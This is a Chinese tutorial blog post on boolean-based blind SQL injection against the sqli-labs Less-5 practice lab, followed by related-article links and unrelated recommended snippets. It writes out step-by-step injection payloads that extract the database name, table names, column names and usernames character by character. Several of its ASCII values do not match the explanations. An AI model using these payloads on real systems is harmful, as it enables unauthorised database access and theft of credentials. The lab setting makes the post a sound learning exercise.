逻辑注入:

1.尝试查询数据库:
(1)判断数据长度 -- 构造逻辑判断:and length(database())=8

当长度等于“8 ”时回显正常,所以数据库长度为“8”
(2)猜解数据库名称:
猜第一位:and ascii(left(database(),1))='100'

对照ascii表,115为 " s "及数据库的第一位是“ s ”
 
猜解第二位:and ascii(substr(database(),2,1))='111'

对照ascii表,101为“e”,及数据库的第二位是“e”
 
也可以使用mid()函数
 
以此类推:
…….
数据库为:security
 
 
2.尝试查询数据库版本:(只需判断出数据库版本是5.0以上还是以下)
用法:and left(version(),1)='5'

 
 
从以上得知数据库名为"security",并且数据库版本为5.0以上,那么我们利用此方式获取"security"数据库下的表:
 
3.获取数据库"security"的第一个表的第一个字符:
用法: and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))='110'

对照ascii表"101"为"e",故数据库security中的第一个表的第一个字符为: " e "
 
获取数据库"security"的第一个表的第二个字符:
用法:and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))='100'
对照ascii表,"109"为ascii码中的 "m",故第二个字符为“m”
 
以此类推:
……..
数据库 " security "的第一个表为 " email "
 
 
4.获取数据库 " security "的第二个表:
用法: and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))='100'
对照ascii表,ascii码中" 114 "为字符“r”,故第二个表的第一个字符为 "r"
 
 
方法同上,同理可获得所有表:
及:
emails    
referers  
uagents   
users
 
5.获取users中的列:
这里有两种方法:
法一:and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))='100'
对照ascii表,“117”为“u”,故users表中第一个列名的第一个字符为“u”
 
以此类推
      …….
可以推理出所有列名,但我感觉是个大工程啊!!!
因为当一个users表中涵盖列名用以下:

 
法二:我们不妨这样想,既然我们猜解到表中含有users这个表
按常规思路,敏感数据如:username、password、passwd 按照这个思路我们可以进行逻辑注入
用法:and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp'^username')

 
解释:定义一个变量"1"在这"1"中进行查询,在users表中,查询正则匹配是否有‘username’这个列名有侧返回“1”的列数

此时返回 Subquery returns more than 1 row -->子查询返回超过 1 行
由此可知是存在"username"的,因为存在的比较多一行返回不过,所有报此错

 
 
 
而我们可以加点“料”,让它只在一行
用法:and 1=(select column_name from information_name.columns where table_name='users' and column_name regexp'^username' limit 0,1)
 
注入:
再一次确定了,是存在名为“username” 的列
 
在上面操作可以看到"username"存在。我们可以将"username"换成"password"等其他的项也是可以的。
 
 
6.获取users表中的内容
先看一下所有users表中所有的用户,以证明我的猜解是正确的

(1)猜解username中第一个用户名
用法: and ord((mid((select username from security.users limit 0,1),1,1)))='68'
//含义:查询从username中第一行开始只取一个的第一位字符

实战:
对照ascii表“68”,username列中的第一行的第一个用户名字符为"D"
 
以此类推
…….
可以猜解出,第一个用户为Dumb
 
那么怎么猜解第二个呢?
 
(2)猜解username中的第二个用户:
   用法: and ord(mid((select username from security.users limit 1,1),1,1))='65'  

  注入:

  对照ascii表,"65"为ascii表中的"A",故users表中第二个用户名的第一个字符为“A”               
 
以此类推……
接下来的用户名和密码都是
如此……                                                                                                                                                                                                  

sql注入 —sqli-labs/Less-5 逻辑注入的更多相关文章

  1. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  2. SQL注入测试平台 SQLol -5.DELETE注入测试

    访问首页的delete模块,http://127.0.0.1/sql/delete.php,开始对delete模块进行测试. delete语法: DELETE FROM [users] WHERE [ ...

  3. SQL注入测试平台 SQLol -3.INSERT注入测试

    访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([usern ...

  4. SQL注入测试平台 SQLol -2.SELECT注入测试

    前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试. 一条完成 ...

  5. 【sql注入】简单实现二次注入

    [sql注入]简单实现二次注入 本文转自:i春秋社区 测试代码1:内容详情页面 [PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 1 ...

  6. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  7. sql之将一个表中的数据注入另一个表中

    sql之将一个表中的数据注入另一个表中 需求:现有两张表t1,t2,现需要将t2的数据通过XZQHBM相同对应放入t1表中 t1: t2: 思路:left join 语句: select * from ...

  8. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  9. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

随机推荐

  1. ab命令执行压力测试

    ab是Apache超文本传输协议(HTTP)的性能测试工具:设计意图是描绘当前所安装的Apache的执行性能,主要是显示你安装的Apache每秒可以处理多少个请求:ab不仅仅能进行基于apache服务 ...

  2. 一次“不负责任”的 K8s 网络故障排查经验分享

    作者 | 骆冰利 来源 | Erda 公众号 ​ 某天晚上,客户碰到了这样的问题:K8s 集群一直扩容失败,所有节点都无法正常加入集群.在经过多番折腾无解后,客户将问题反馈到我们这里,希望得到技术支持 ...

  3. OkHttp3 使用

    导入 compile 'com.squareup.okhttp3:okhttp:3.3.0' GET请求 String url = "https://www.baidu.com/" ...

  4. easyhadoop 安装

    ldconfig deferred processing now taking place正在处理用于 libapache2-mod-php5 的触发器... * Reloading web serv ...

  5. ACE_Message_Block实现浅析

    ACE_Message_Block实现浅析1. 概述ACE_Message_Block是ACE中很重要的一个类,和ACE框架中的重要模式的实现 如ACE_Reactor, ACE_Proactor, ...

  6. Java虚拟机(JVM)以及跨平台原理

    相信大家已经了解到Java具有跨平台的特性,可以"一次编译,到处运行",在Windows下编写的程序,无需任何修改就可以在Linux下运行,这是C和C++很难做到的. 那么,跨平台 ...

  7. linux系统下安装dubbo-admin

    1.在安装dubbo-admin之前确保你得linux服务器上已经成功安装了jdk,tomcat, 若还没安装jdk以及tomcat则参考我的上一篇文章"linux环境下安装jdk,tomc ...

  8. 1.Thmeleaf模板引擎

    1.Thmeleaf的基本语法 大部分的Thmeleaf表达式都直接被设置到HTML节点中,作为HTML节点的一个属性存在,这样同一个模板文件既可以使用浏览器直接打开,也可以放到服务器中用来显示数据, ...

  9. 解决“该Jenkins实例似乎已离线”

    在jenkins/pluginManager/advanced最下面 把:https://updates.jenkins-ci.org/update-center.json 换成: 1.http:// ...

  10. Airtest结合tidevice实现IOS自动化测试

    这篇博文内容,是基于之前的配置而来的.我们可以先回顾一下之前博文,Windows搭建mac黑苹果系统:WebDriverAgent重签名爬坑记 . 今天来分享下如何通过 tidevice实现IOS自动 ...